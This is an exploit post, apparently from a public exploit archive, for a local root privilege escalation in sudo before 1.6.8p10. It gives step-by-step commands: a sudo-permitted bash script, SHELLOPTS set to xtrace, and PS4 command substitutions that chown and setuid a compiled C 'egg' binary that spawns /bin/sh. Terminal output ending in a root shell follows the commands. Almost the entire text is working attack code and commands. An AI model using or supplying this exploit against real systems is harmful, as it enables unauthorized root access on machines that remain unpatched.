exploit for adv :  http://www.securityfocus.com/bid/15191/info


## Sudo local root escalation privilege ##
## vuln versions :  sudo < 1.6.8p10
## by breno

## You need sudo access execution for some bash script ##
## Use csh shell to change SHELLOPTS env ##

ie:
  %cat x.sh
  % cat x.sh
  #!/bin/bash -x

  echo "Getting root!!"
  %             
##

## 
  # cat /etc/shadow
  ...
  breno   ALL=(ALL) /home/breno/x.sh
  ..
  #

## Let's use an egg shell :)
  %cat egg.c

#include <stdio.h>

  int main()
  {
        setuid(0);
        system("/bin/sh");
        }
        %
               
% gcc -o egg egg.c
% setenv SHELLOPTS xtrace
% setenv PS4 '$(chown root:root egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ls -lisa egg
1198941 8 -rwxr-xr-x  1 root root 7428 2005-11-09 13:54 egg
% setenv PS4 '$(chmod +s egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ./egg
sh-3.00# id
uid=0(root) gid=1000(breno) egid=0(root) grupos=7(lp),102(lpadmin),1000(breno)
sh-3.00#